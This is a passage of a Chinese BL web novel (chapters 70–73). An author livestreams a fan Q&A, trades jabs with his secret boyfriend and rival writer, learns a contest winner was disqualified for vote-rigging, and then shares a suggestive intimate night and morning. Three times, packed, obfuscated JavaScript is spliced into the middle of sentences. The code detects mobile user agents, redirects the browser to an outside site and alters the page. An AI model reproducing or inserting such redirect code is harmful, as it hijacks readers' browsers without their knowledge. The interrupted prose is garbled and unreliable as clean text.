心襟一曳，燥意蓦然而起。 他不由自主地松牙，放开了对方。 祝君忱却反而捧住他的面颊深吻过来。 直到他面红耳赤地推开对方的肩膀，催促：“快走，要来不及了。” 已经六点一刻，颜语凉一本正经地坐直，握着鼠标脑子宕机着四处乱点。 祝君忱捻了下他发红的耳垂：“言不言老师直播加油。” 言不言老师心在狂跳，面不改色地打开自己尽书网主页，打算以这个页面为背景板，又点开博客网登录了自己的账号。 停顿片刻，翻着评论似乎在思考是否要通知自己要提前开播。 然后直接切到直播软件，点击开播。 他比约定好的开播时间提早了十分钟，刚开的直播间有点冷清，一分钟后在线人数开始蹭蹭蹭上涨。 [啊啊啊言爷这么早！！！] [老大！！！！！！我来了！！！为什么这么早！！还好我提前来蹲！！] [就爱你的不准时！] 颜语凉正在研究弹幕弹窗，某个按键是展开，再点一下就是收起，还有开麦闭麦键，他看到这几条评论，语气沾了些笑意：“因为我不喜欢迟到早退。” [哇塞，言不言老师肯定非常热爱生活！] [热爱工作！] [活力满满！] 这句话很明显指向某位既迟到还早退的作家，但是粉丝们为了维持良好的弹幕氛围非常努力地捧哏。 [今辰好送出告白告示×1 留言：礼物忘记关了] 加v账号送的留言礼物明晃晃挂在弹幕弹窗的最上面。 主张今日一定要一切和平的粉丝：…… 感觉世界要毁灭了。 [？] [？？？] [啊啊啊好言难劝告白了！] 言不言本人倒没表现出什么异样，平静地“哦”了一声，然后切到直播网站回忆之前祝君忱的指导把礼物关掉。 “现在呢？关掉了吗？” [今辰好：关掉了。] “噢，”颜语凉用光标在祝君忱送的留言上转悠，和他隔空对话，“那为什么这个还在？” [今辰好：不知道] [这个好像要挂半小时，但是可以删。] [老师可以去直播网站的后台删！] 颜语凉跟着弹幕的指示在后台找到了祝君忱的留言弹幕。 就在众人都以为他要将其删除时，言不言老师似乎发现了一个更新奇的东西——礼物留言不仅能在后台删除，还能在后台延长展示时间。 于是颜语凉小手在键盘上一敲，把这条置顶留言延长到了三个小时。 也就是说，这条留言将覆盖他一整个直播的时间。 所有观看直播的人看到界面上留言倒计时一闪从二十几分钟变成了180分钟：……？ 所有刚进直播间看到今辰好的留言明晃晃展示的人：？？？ 70. 贴标签 [哎呀你们不要瞎猜了，他们肯定关系不错，忘了情书比赛两位老师合作的事了？] [谈笑间装作不经意打错比赛名吗？有意思。] [好言难劝就这么有心机！] [666关系不错天天在博客上互骂？] [炒作呗，不炒作怎么火？] [我看言不言就是今辰好的托，签了什么商业合作合同吧，要不是两个人一直占用公共资源互相炒作，估计现在文圈都查无此人了。] [不是，嘴怎么这么臭？？？] [什么查无此人，你瞎了吗？青书比赛银奖你去拿个看看。] [房管：为维持和平有序的弹幕环境，已将带节奏的观众拉黑，请大家规训语言，友善交流哦～] 颜语凉都看在眼里，喜道：“我还有房管呢？” [今辰好：平台配的，应该是你的编辑。] “哦，慕唯老师～”颜语凉的语调微微往上扬，非常轻快地唤了一声。 [房管：～～～] [房管：言不言、今辰好老师也要注意言行哦～] [玛雅，言不言老师好乖！] [我不行了，这是警告他俩谨言慎行不要打架吧。] [编辑老师带手底下的作者会不会有一种养小猫小狗的感觉～] [呜呜呜所以言爷是不是看到坏话了，真不懂这群人贴脸找什么存在感……] “其实他说得没错，”颜语凉看了一阵弹幕，突然说，“占用公共资源是很抱歉，但是我也不知道为什么文娱圈的热搜榜怎么这么好上。” “是因为《尘封水》吗？那为什么不盯着主演们二搭三搭，专盯着我和今辰好有没有三搭四搭？” [这是能说的吗，因为你俩太好玩了……] [还有你俩书粉也很好玩（吃瓜.jpg）] [每次看好言难劝两边的粉丝互撕，我都能淘到好文，因为他们喜欢互相揭短，用别人的文跟对家做比较，那个谁谁谁的文同类型的比你们写得好多了，然后我就去搜，一看还真不错，两边我都笑纳了！] 这都是路人的肺腑之言。 “我俩吵架有什么好玩的？”颜语凉看笑了，“现在时间也差不多了，我们可以进入正题。” “我是最后一个直播的作者，也没进行过这个类型的直播，番也没大到能接访谈，本来想着跟前面的作者学一学，我看前边有老师播码小说的，但是我也没有什么正在连载的作品，这个环节也不太能进行。实在是太忙了，所以其实不知道能说什么，今天会不会冷场就看你们了。”说话间，颜语凉点开自己的博客主页，“冷场了我就去翻之前的评论，或者光顾一下什么超话找找话题，再不济……” [啊啊啊肯定不会让老大冷场的！！！！我可是准备了一肚子坏水要问！！] [我要问一万个，求翻牌子！！] 弹幕此时还在担保绝不会冷场，谁知颜语凉在“再不济”后边顿了一下，接的话是：“再不济……骚扰一下今辰好，给你们看点好玩的。” [？] [我数三二一大家一起冷场好吗？] [今辰好：。] “你怎么还在？”颜语凉用光标在他的那条弹幕上点点点，谁知竟然跳出来个举报，他一乐，“举报了，举报原因：发送意义不明的标点符号，疑似注水。” 在线榜一闪，顶上的头像换了人。 [今辰好老师退出直播间。] [今辰好老师退出直播间。] [言不言老师你把今辰好气跑了哈哈哈哈哈哈] 谁进入直播间会有提示，但是退出直播间不会，遂热心肠的粉丝纷纷刷起来。 颜语凉担心祝君忱真生自己气，拿起旁边的手机给他发了个消息。 【我无言以对】：没有生气吧 【忱.】：（生气.jpg） 【忱.】：小心我把你锁书房 【我无言以对】：这么刺激？囚/禁play吗？ 【忱.】：…… 【忱.】：是我照顾不周，原来言不言老师喜欢这样。 弹幕只看到颜语凉分心片刻，并不知道两人间又“打”了个来回，他们在直播间嚣张跋扈的言不言老师红着脸落败退场。 颜语凉又说了几句话热场，便开始今日的问答环节。 弹幕洪水一般涌来，哗啦啦的根本看不清，他用鼠标停在一个问题上刚读完，下面新消息就已经99+了。 [老师，我是资深剧粉，是看了《尘封水》之后粉上你滴，以前对小说不感冒，今年补了你的好多本小说，我想问问是什么契机让你从小说圈走向剧作圈的呢？] “从小说圈走向剧作圈的契机？也没什么契机吧，就是从小爱看东西，写东西，高考走的艺考，专业就是剧作了。” [以为是偶然，其实是专业对口哈哈哈] [小道消息，言不言老师是A大影视文学的，但是他们院里口风严，本人照片连校区都传不出，听说是因为有很多个出名的编导，所以谁火了大家都见怪不怪。] [言爷，那你在尘封水剧组待了多久呀，有没有什么好玩的事情？] [海纳百石剧组！！海石有没有什么好玩的，言不言老师你觉得这部剧值得期待吗？] 颜语凉扫过一片弹幕，干脆一块回：“是专业对口，学校里其实很多人知道我是言不言的，也不是谁火谁不火稀不稀奇吧，主要是在学校里大家都是平等的，都只是学生，在外面也是靠作品说话，所以也懒得乱传。” “尘封水剧组……”颜语凉想了一会儿，“过去大半年了，有些不记得了，我是金鱼脑袋，要说真有映像深刻的事的话，一群人抢板凳坐，结果抢到的人一屁股把板凳坐塌了，后来剧组所有人都席地而坐，每天都弄得我腿很麻。 哦，我记得组里有个小胖墩，天天蹲麻了腿就在片场空闲时间一边哭一边捶腿一边吃东西，后来有个演员一看他蹲久了就踹他一脚，不是职场霸凌啊，是他自己要求的，但是只有那个演员贴心的记住了，是谁不能说。 海纳百石剧组就好很多，经费足，板凳到处都是，海石是一部可塑性很强的剧，改动的地方挺好玩的，对了，今辰好老师前阵子来组里视察剧本，说我的剧本狗屁不通，然后我给他收拾收拾扔海里了。” [哇筛……] [现在去海边能捞到今辰好吗？] “能的，大概就是这儿一块，那儿一块吧，散装今辰好。”颜语凉一本正经地，转而又说，“开玩笑的，今辰好老师来组里帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758146|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了很多忙，我现在能这么快结束跟组工作有他很大一部分功劳。” [所以你们确实是在海石之前就认识了吗？] [吵架是真的看不顺眼还是耍我们玩（咬丝巾.jpg）] [还有还有，青书比赛怎么回事啊！！！] “嗯……看不顺眼是真的，青书比赛合作也是真的，青书一轮二轮的时候我们还不知道对方的马甲。” 其实祝君忱知道，祝君忱从一开始就知道了。 颜语凉这样想，但是他懒得解释更多，就这样留给观众一些想象空间吧。 [一轮是九月，二轮是十月，所以你们其实才刚掉马没多久，哈哈哈互相知道彼此是死对头有什么感想吗？] [我猜肯定大打出手！] [第一次线下打架谁赢了？] “我赢了。”颜语凉不想多聊这点，潦草盖过。 [言爷！！不知道这个能不能说，不能说的话你忽略我就好了！！因为你早期是写耽美的嘛，而且还是男生，所以一直以为你会喜欢男生，没想到你的对象居然是香香软软的女孩子！祝99！！] 颜语凉的光标停在这条弹幕上，下面隔着还有几个大抵是看见了这条也开始刷“祝99”。 颜语凉盯着某个字，心想：能不能刷“祝颜99”。 悠悠启唇道：“不要刻板印象是对的，但是我对象确实不是女生。” [？] [？？] [？？？] “我说的那句话是什么来着，我自己都不记得了，我瞎说的，逗人玩的。” 他自己是都不记得了，但是粉丝们记得清清楚楚。 [有人问你是不是有女朋友了，你说肤白貌美大长腿，娇小可爱粘人精。] [肤白貌美大长腿，娇小可爱粘人精。] 颜语凉张口吐槽：“我说话这么直男吗？我明明不是直男。” [哈哈哈哈哈哈哈我喷我自己] [哈哈哈哈哈哈哈哈哈哈哈] “刚才看到有个人说得很对，不要给人贴网络标签固化一个人，每个人都有自己的个性，不应该被固化，我之前那句话也是犯了同样的错，大众映像里女孩就是娇小可爱，但是我也很欣赏练肌肉，爱美黑，参加健美比赛的女性，敢于追求，就很伟大。” [掏小本本，等下，怎么感觉在上课？！] [（wink.jpg）本人男，在宿舍女装把室友馋哭了。] [那还说啥了，楼上真性情！] [不信，除非是我室友！] 弹幕里有人分享了很好玩的事情，颜语凉看着大家都帮他找论据，看得津津有味，突然开玩笑说：“大家不要固化别人，但可以固化今辰好。” [？？？] [言不言老师你三句不离今辰好（别看见我别看见我别看见我）] [怎么固化今辰好？（吃瓜.jpg）] [言不言老师可否中肯评价今辰好？] 看着那句“怎么固化今辰好”，颜语凉陷入短暂的沉思，以前问他这个问题，兴许他能写一万字小论文，可是现在今辰好偏偏是祝君忱。 思忖片刻，他揪出了一点：“今辰好老师，小气鬼，之前让他赔我点钱一分一不给。” 71. 违规者 ＃言不言分享剧组趣事 ＃言不言男朋友 ＃言不言：不可固化他人，但可固化今辰好 ＃言不言：今辰好一毛不拔小气鬼 这句话说完仅过去半个小时，他就又挂在了热搜上。 颜语凉遂着弹幕的提示去翻博客，点进自己的词条，无奈无语道：“你们看，谁能告诉我为什么文娱榜热搜这么爱搜我？？？我直播都没结束，直接来我直播间看不就好了？非要看半半拉拉的切片。” 他翻着博客，看见已经有营销号先下手为强把《尘封水》《海纳百石》和今天他的剧组分享放在一起分析、宣传了。 “速度这么快？”颜语凉惊讶，两倍速看完了那条营销视频，评价道，“一眼就是实现准备了模板，牛头不对马嘴的。” 他退出这个页面点进“今辰好一毛不拔”的词条，看到了同样网速很快的另一个主角。 【今辰好（你的特别关心）： 辟谣[图片] #言不言：今辰好一毛不拔小气鬼 】 图片是一张截图，时间在刚刚，显示今辰好老师给人转了一笔账，金额被马赛克潦草糊去，再往上看，此人备注是“言不言”。 看清这张截图的言不言本人：…… 颜语凉抬起放在一叠书上的手机，去看祝君忱给自己转了多少，手机锁屏前就是在跟他聊天，解锁后对方的消息直接跳出来。 于是，所有在直播间的观众看见言不言老师很随意抬着手机的手僵住了。 ——祝君忱给他发了52000。 【我无言以对】：？ 怪不得要给金额打码。 【忱.】：五十二万限额。 【我无言以对】：不是，我这个问号不是嫌少 【我无言以对】：我是想问，我是被包养了吗（震惊.jpg） 【忱.】：嗯，从今天开始不准踏出我的书房一步。 【忱.】：言不言老师不是喜欢囚禁吗？ 颜语凉“啪”得一下让手机倒在桌面上，木着脸抬头，看到弹幕已经炸了。 [言不言老师，你为什么给今辰好设特别关心（呆）] [这谁的账号？！为什么今辰好是特别关心！！] [啊啊啊言爷开始看手机，他到底给你转了多少！！] [你俩到底什么情况？？？] 颜语凉找到话音：“给他设特别关心是因为，礼尚往来，我从小就很有礼貌。” “转了多少不好说。” [今辰好 ：@言不言 还小气？] 颜语凉手覆在键盘上敲字：“吓死人了好吗？？？” 所有人都开始好奇今辰好给言不言转了多少，于是，后边半小时大多数弹幕都在刷今辰好。 颜语凉只好求饶：“我错了，我不该招惹他的，我们能不能问点正经题目？” 弹幕这才堪堪回归正题。 [言爷是不是跟一朵桃很熟？上次去她们直播间送礼物啦！以前一直觉得你们八竿子打不着。] [言爷为什么不参加尽书网的签售会？好想追线下！！] [言不言老师还有没有熟一点的作者？想嗑一些友情～] “一朵桃，我和她是高中同学，关系一直不错。” “很不巧，每次尽书开签售会都在玩很忙的时间段，疑似针对我。” “熟一点的作者，其实没几个，我写小说都是一个人闷头写，网络社交不多，现生的朋友比较多。” 话音刚落，书房门突然被敲响，颜语凉徇声望去，看见祝君忱抬着一杯水进来，放在了他的手边，天气比较凉，热水在里头冒着丝丝热气。 “谢谢，”颜语凉下意识接过来抿了一口，他挑眉，“没有下毒吧？” “毒哑了最好。”祝君忱含着笑回道。 颜语凉偏开目光，他怕再多看一眼就想把人拽过来亲一口。 余光里，祝君忱没有转身出门，而是拖着椅子坐到了他对面。 [谁啊！！是不是男朋友！！] [言爷你男朋友要把你毒哑诶，我不会，你跟我走吧～] “嗯，”颜语凉扫了眼坐在对面的祝君忱，那人威慑性地抱起胳膊，一副监工的模样，他语调放轻，告知观众，“男朋友来监督我谨言慎行。” [哇，言不言老师好幸福，直播还有人陪！] [是不是老大你提太多今辰好，他吃醋了哈哈哈哈毕竟这里还有很多好言难劝粉丝呢！] 颜语凉觉得好笑，随即望向祝君忱：“弹幕在问，你吃今辰好的醋吗？” 祝君忱：“……” 所有人屏息以待。 却听言不言老师的男朋友非常有梗地回答：“我觉得我们三个人可以一起生活。” 颜语凉幽怨地看他一眼：“马上又上热搜了，词条我都想好了，就叫言不言的男朋友说可以让今辰好加入，三人行。” [66666] [哈哈哈哈好有正宫气度，不愧是言不言的男朋友。] [言爷你也很适合做营销号！！] 又做了一会儿问答，不知道哪个观众提了句“言不言老师一般怎么进行剧本创作”，后边便有一群人让他用《海纳百石》举例，颜语凉正愁回答问题太无聊兴致缺缺，立即采纳了这个提议。 他把原版海纳百石txt，和自己第一版的剧本txt传到邮箱，打开第一章，开始“专业对口”式干货讲解。 不是所有人都对这部分感兴趣，直播间少了一部分人，剩下的人听得转心，弹幕就也少了许多，颜语凉的大多数注意力便放在文档上。 就在他打算结束这一part，关掉文档时，发现右边原本被遮挡的弹幕又开始“唰唰唰”宛若瀑布一般直流三千尺。 [啊啊啊啊啊恭喜恭喜（撒花.jpg）] [恭喜恭喜恭喜恭喜！！！] ？ 颜语凉疑惑：“在恭喜什么？” [去看青书比赛官博！！] [快去看青书官方刚刚发的公示！！] 颜语凉一头雾水，再一次切到博客网站，搜索比赛相关。 就在两分钟前，官方发表一个公示，核查了今年各赛道违规作品取消他们的奖项，包括抄袭、融梗等。 像这样的公示每年都有。 第一张图是小说赛道，第二张图是剧本赛道。 在第二张图中，首当其冲的一条白底黑字写着——经核查，本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758147|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 期决赛作品《无期雨》作者涉嫌违规拉票，违反比赛相关规定，取消所获荣誉，获奖奖项按排名依次顺移。 颜语凉一怔。 也就是说，现在他们变成金奖了。 峰回路转，柳暗花明？ “青书剧本决赛投票杜绝拉票不是在官网上红字加粗的吗？”颜语凉的目光锁在“违规拉票”上，感到不解，“可惜了。” [言爷你先别感到可惜，你先感到可恶一下吧！！] [有瓜？求吃！] [愿闻其详！！] [先不说这部作品很明显很多转折、伏笔、节奏都跟《尘封水》埋得一模一样，我就说它违规拉票的事！我去可离谱了，原作者不是那个梨什么什么和那个落什么什么吗？他们披着马甲偷偷去尘封水超话里边爆料，说这可能是言不言老师的作品，让粉丝偷偷去投票，但不要大肆张扬。] [他们当时的用词非常模棱两可，就是就算到时候作者爆出来不是言不言，他们也可以说“我们也只是猜测，没想到错了”然后轻而易举地摘掉这顶帽子。] [哈哈哈哈哈哈，没想到言不言真的在吧，而且还靠言不言的噱头超过了本人哈哈哈哈哈] [对的对的，那群姐妹估计人都傻了，然后尘封水超话有几个人不知道从哪听说青书决赛不能拉票，直接去官网举报了] [没错哈哈哈哈哈，我说我今天逛超话怎么看见有人在刷“请把金奖还给言不言今辰好”，还以为哪里来的小学生在刷存在感。] [怎么不算偷鸡不成蚀把米呢？] [都进决赛了，保底都是铜奖，搞不懂为什么自断后路。] [侥幸心理太强了，如果言爷这次没参加，估计尘封水的粉丝也只会说“哎呀情报有误”但好歹剧情和尘封水一样精彩，权当支持姊妹篇了。] 怪不得《无期雨》在某一段时间票数暴涨。 但颜语凉当时想的是估计真有喜欢这部的粉丝去宣传有了很好的效果，毕竟这个小短片除了主角没那么耐看，摄影镜头很明显是小白之外，在剧本的情节设置上是很精彩的。 没想到渊源在此，他还是太善良了。 颜语凉默然翻了好一会儿，把这个瓜吃了个全，和弹幕说的大差不差。 他五味杂陈，胡言乱语：“未经他人苦，莫劝他人善。” 然后立马反应过来，自言自语：“我傻了吗？帮想要踩着我上位的人说话。” [哈哈哈哈哈哈哈哈] [自动脑补言爷QAQ的表情。] [言爷：刚刚好像圣母上身了。] 突然从银奖晋升为金奖，并没有想象中那么惊喜，反而一回想那部作品的违规操作就会被恶心得不轻。 眼看时间差不多，颜语凉便向观众们道别结束直播。 祝君忱在他讲剧本的中途出去了一趟，还没有回来。 他在屋子里转了一圈没找着对方的影子，估计是有事出门了，于是回到书房捞了本书坐在电脑前看起来。 颜语凉此人热衷氛围感，他把白炽灯关掉只剩桌边一盏漂亮的小台灯。 估摸十分钟，外边大门传来动静，有人回来了！ 颜语凉手一顿，盯着书页思考片刻，决定趴下装睡。 72. 沉沦期 书柜里小时钟无声跳至九点三十。 窝在椅子里，趴在书桌上的人睡得安详。 祝君忱走近，躬身罩住他，吻了下他的发顶，装睡的人不由自主地露出破绽，睁开清明的眼睛。 颜语凉抬起脸来，台灯光照着他的脸显得气色愈发地好，他嗔怪：“你亲那里我长不高了。” “够高了。”祝君忱将拎在手里的塑料袋搁桌上，发出清脆的声响。 颜语凉对这个叮叮当当的声音还算敏感：“你买酒去啦！” “嗯，”祝君忱点头，“你今天下午睡太久了，怕你晚上睡不着小酌助眠。” 颜语凉伸手去拆塑料袋，发现还有一盒精致的小蛋糕，五寸、手掌大小。 “蛋糕下酒？” “提前定的，本来想庆祝一下银奖，现在变成金奖了，事发突然也来不及给蛋糕升个级。”祝君忱说话间把蛋糕的盒子拆开，托到他面前。 颜语凉拿起叉子挖了一块，作势要吃，却在送到嘴边时停住，转而抬手伸到祝君忱唇前：“你先试下毒。” 祝君忱靠着桌沿站着，垂眸对上他被灯光晕亮的目光，低头依着他的动作咽下这块蛋糕。 “没毒。”颜语凉得出结论，于是自己挖了一大块往嘴里送，吃得嘴角余沫到处都是。 祝君忱被逗乐，一边伸手用指节蹭去一块粘在他嘴角的奶油，一边忍不住溢出笑来：“言不言老师嘴漏。” 颜语凉不乐意了，拽着他正要挪开的手凑到嘴边，将那块刚离开自己嘴角的奶油啃食干净。 顺带报复性地嘶咬对方的指节。 指节被咬得发痒，祝君忱顺势拦住他的下颚偏头吻在他的耳侧。 颜语凉没设防，颈部被锁，耳朵也不习惯轻柔的吻，他不自禁地敏感瑟缩。 不过一刻，他立马适应，抬手攥着对方的手腕吻回去。 唇齿间蛋糕的香甜若有若无，颜语凉心口跳得发热，忽如其来、一层卷一层的秋燥让他掀了掀眼皮。 他今天穿了一条松软的全棉运动裤，一有什么动静都非常明显。 他挪挪腿，不想让祝君忱发现。 可是没有什么能躲过亲密中爱人的眼睛，祝君忱在他分心的那一刻便松开毫厘问：“怎么了？” 然后垂眼便看到愈发躁动的那物。 发觉对方注意到的瞬间，颜语凉心尖一颤。 下一秒，更加细密、炽重的吻落下来，颜语凉感觉自己嘴都亲肿了，却感觉到对方的手往他的腰侧落，他听见祝君忱哄道：“我帮你。” 颜语凉想张口拒绝，但是他张不了口。 祝君忱抱他起来，让他坐在自己膝上，两人突然易位，颜语凉觉得脖颈胸膛都羞到发热，闷头抵在他的肩膀，反手将桌上台灯熄了。 蓦地陷入无尽的黑暗，所有感官都被无限放大。 祝君忱的手很宽大，握得很实。 又像他敲键盘时那般灵活。 书架上小时钟的光亮愈发清晰，在静谧的夜中勤快地闪动几个数字。 某一刻祝君忱抬起另一只空闲的手抚上颜语凉不肯望向自己的面颊，明知故问：“颜语凉，你的脸为什么这么烫？” 正陷入缱绻的颜语凉闻言郁闷，憋出两个字：“气的。” “为什么？”祝君忱凑近，关切道。 “嗯…想起来我们还没有一个定情信物。”颜语凉的气息不大稳，倚在对方耳边压着音答。 深爱的人贴心地加快速度，追问：“想要什么？” 被追问的人却答不出来了，在被一浪浪埋没中拥紧对方。 “想要什么？宝宝……”又问一遍，追问者的语气愈发轻柔，全然没有被忽视的气恼，反而渗着愉悦。 从未听过的新称谓让彼此间陡升暧昧与情动。 颜语凉咬牙、焦灼、难耐，但颜语凉始终一声不吭。 祝君忱贴近、试探、反复，但祝君忱偏偏耐心等待。 * 这是颜语凉第一次留宿在祝君忱家里。 他自己房间清了一大块地方出来放小书架、书桌和衣柜，床没买很大。 但祝君忱的床是实打实的双人床，兴许是最近刚晒过被子，晴朗的味道混着专属于祝君忱的气息，颜语凉浸在里头靠在对方的怀里睡得安稳。 清晨转醒的时候才意识到他们昨夜做了些什么。 颜语凉许久没干那档子事，存量偏多，最后的时候弄脏了两人的衣裤，转移阵地去了浴室。 他想礼尚往来去碰祝君忱，却被对方牵着手抵在有些凉的墙上。 “哗——”花洒撒下的水几乎是铺面而来，两人无可避免地被淋湿，颜语凉被水雾糊了眼，听见祝君忱说：“那样累，换个方式。” 颜语凉思绪一顿，紧急将脑中的画面掐断，捂着脸将自己重新埋进还在梦中的祝君忱怀里，不自觉地动了下腿，只觉得大腿处一片酸疼。 毫无知觉的祝君忱安抚性地抬手拍了拍他的背。 颜语凉挪着身子想靠他更近一些，膝盖却碰到了一个柔软的东西。 …… 他大概知道那是什么东西，但他还想睡觉，不敢睁开眼。 “喵——”想想拖着调子唤他一声。 抻了个懒腰，走到装睡的颜语凉脸上。 “……”颜语凉把猫从脸上摘下来，指着小女儿的鼻子，压低声音教育，“你知不知道你一个礼拜没剪爪子了，踩我就算了，为什么伸爪子？你是坏猫吗？说话！还有说了多少次少上床，全是毛，你知不知道？” 想想眯了下眼，偏过头。 颜语凉朝它恐吓性地皱脸，然后凑到它腮帮子猛吸一口。 头顶传来一声轻笑。 他转头撞上祝君忱的目光，手里力道一松，想想挣开他的拥抱，跳到床尾窝成一团。 “早。”祝君忱躬身凑近他。 颜语凉本来还有些困，现在睡意全无，捧着对方的脸颊对着祝君忱额头落下重重一口：“早啊。” 祝君忱嘴角笑意渐满，佯装不悦：“你刚亲过猫。” “谁规定亲了猫之后不能亲你了？”昨夜洗过澡后，颜语凉被哄着穿了祝君忱的睡衣，对方的尺码比他大，穿在身上松松垮垮的，他用胳膊撑在床上支着下巴，领子往下掉，胸膛上半部分隐隐绰绰，他自己一无所觉。 “我规定的。”祝君忱眸光一偏，抬手给他理好了领子。 “什么时候？”颜语凉歪了下脸，攀过去拉近距离，手指去戳对方的锁骨，“我刚摸完猫，我现在还摸你呢。” “嗯，现在规定的。”祝君忱轻声说着， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758148|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给他理完衣服又去理头发，小卷毛极其不听话，这儿翘一根那儿翘一根。 颜语凉一听，做出“老虎扑食”的动作，猛地一掀被子将两人罩在黑暗中，想想被吓一跳，直接跳出了房间。 温暖的被子里一瞬间凉风四窜。 被子里不是纯粹的黑，颜语凉的眸子映着光，亮亮的，他半趴在祝君忱身上通知：“那现在被我废除了。” 说罢又去亲对方的嘴角、脸颊。 晨起的第一丝阳光透过窗帘，斜落在床被。 短暂的打闹过后颜语凉想赖会儿床，窝在被子里玩手机。 刚结束一段忙得马不停蹄的日子，这会儿闲下来都不记得以前闲的时候在干嘛了。 他左右滑动屏幕，微信弹出了一条消息，是许久没联系的于知小朋友。 【于知】：言哥，青书比赛结束了！ 【于知】：听说你昨天回北京了，我下午来找你玩，你有没有空呀？ 颜语凉下午也没有事，便应着：“你来吧，带你去电玩城玩。” 【于知】：言哥你又想抓娃娃了（大笑.jpg） 颜语凉其人，不擅长拼乐高，不擅长KTV霸麦，但尤其擅长抓娃娃。 四个友人团建常常去商场，往往在二楼的电梯口分道扬镳，廖寻桃拽着程和欢去逛各种被称为“女生减速带”的店，而邹煜安跟着颜语凉去电玩城，跑到娃娃机前一抓一个准，廖寻桃程和欢逛完一圈回来颜语凉都能抓一麻袋。 于知认识颜语凉后也跟着去过几次，饶是他生性腼腆，脸上做不出夸张的表情，第一次看见颜语凉抓娃娃也是惊掉了下巴。 【我无言以对】：几月不玩，甚是想念。 颜语凉想：他还没带祝君忱玩过，今天定让他看看颜大王的厉害。 小说赛道的赛期比剧本赛道的赛期短很多，但是比赛结果公示却只比剧本这边早几天。 前阵子实在是太忙了，小说奖项名单出来的时候颜语凉还闷在舟山咸湿的海浪声中无暇去看，这会儿联系了才想起来自己的小弟也参加了这个比赛。 他去翻官网的公示，轻而易举地就找着了于知的小说，就在第二条，是二等奖。 于知小弟此次的参赛作品名为《笨美人》，于知小弟长得腼腆，但文不如其人，他的文风是颜语凉见过最放得开的，山南水北全都能写，想象力很丰富，可塑性非常强。 《笨美人》是一篇篇幅中等的都市小说，讲得是一位底层文学愤青一点点被生活抹平棱角又在职场上找回自我的故事。 颜语凉盯完公示，想去博客搜搜读者对这个作品的评价。 搜索相关进去第一条，他脸上的笑意就敛了些。 是一个营销号，营销号总是爱问问题，在这条帖子里，博主问：“针对前阵子有人说《笨美人》疑似挑起男女对立的问题，你觉得如何？” 再往前翻还有人泼脏水隐射这篇小说像《xxx》云云。 每年都会有各种各样的作品出各种各样的问题，真真假假官方都会定夺。 就在前天，青书的官方博客批评了一批作品，也为一批作品做出正名和澄清。 官方宣布：“经多方核查与专业评估，《笨美人》不存在挑起性别对立的内容倾向，亦未发现抄袭或恶意影射等行为。” 73. 笨美人 前一段时间很多言论的攻击性很强，质疑、嘲讽如雨似箭，直到官方通告出来才有人帮这一部作品说话。 最近已经有人开始哭这本书的作者就跟故事中的女主一样经历了一场骤然的徒刑，希望不要丢掉自己的灵气放弃写作。 还有人义愤填膺地阴谋论将矛头指向另一本落榜的小说。 战火锁在这个圈子里，在各方管控下，已经愈烧愈小。 不知是因为于知向来省心还是并不在意，反正出事那段时间基本处于闭门造车状态的颜语凉一概不知。 明明有后盾，却被欺负了也一声不吭。 他在洗漱的时候心里盘算着下午见面的时候问一问。 祝君忱家里卫生间的洗漱台与他家里的正好相反，用的时候他盯着镜子里的自己不习惯了好一会儿。 今天祝大厨烤焦了一盘面包，颜语凉勾着他的脖子问是不是下毒未遂，被人塞了满满一口午餐肉。 颜语凉嚼嚼嚼咽下去，黏在祝君忱身上不舍得分开，用指尖绕他的腮帮子，看他露出别样的表情，闹够了才跟他说下午的安排：“下午于知过来找我玩，我好久没去电玩城了，我们一起去吧。” “你什么时候回学校上课？” “很多课都结课了，剩一堆结课报告没做，下周开始去学校，但是课不多。”颜语凉回答。 祝君忱牵着他坐到沙发上，和在一起前一样一块儿共进早餐，只不过现在他们贴得更近，说话也不用考虑再三，上一秒在说天，下一秒就可以说地，上一秒在牵手，下一秒就可以亲吻。 太阳愈升愈高，秋末清爽温冽，这样的晴天很舒服，很适合出去走走。 但是颜语凉觉得跟祝君忱腻着干什么都行。 所以，他拖延症犯了，倚着人躺在沙发上看小说看到下午两点，于知到了他还嫌对方来得早。 于知打电话过来的时候他的手机已经滑到了身底下，突如其来的震动把颜语凉吓一跳。 他拗着手把手机从腰后拿出来举到耳边摁下接通：“喂？” 再支着身子坐起来，往祝君忱身上靠，对方抬起胳膊把他揽在怀里。 “言哥你不在家吗？”电话里传来于知的声音。 “你到了？”颜语凉顿住，瞅一眼时间，他原本的计划是回自己家里换一身体面的衣服，再进行今日会面，现在是来不及了，总不能让客人钻家里给自己带一套下来，“你先来1006，我有事问你。” 反正也来不及了那再躺会。 他刚靠回祝君忱身上就听于知嘀咕着问：“言哥你最近怎么老是在1006。” 生日那天也是。 总不能是因为三十层太高了呼吸不畅。 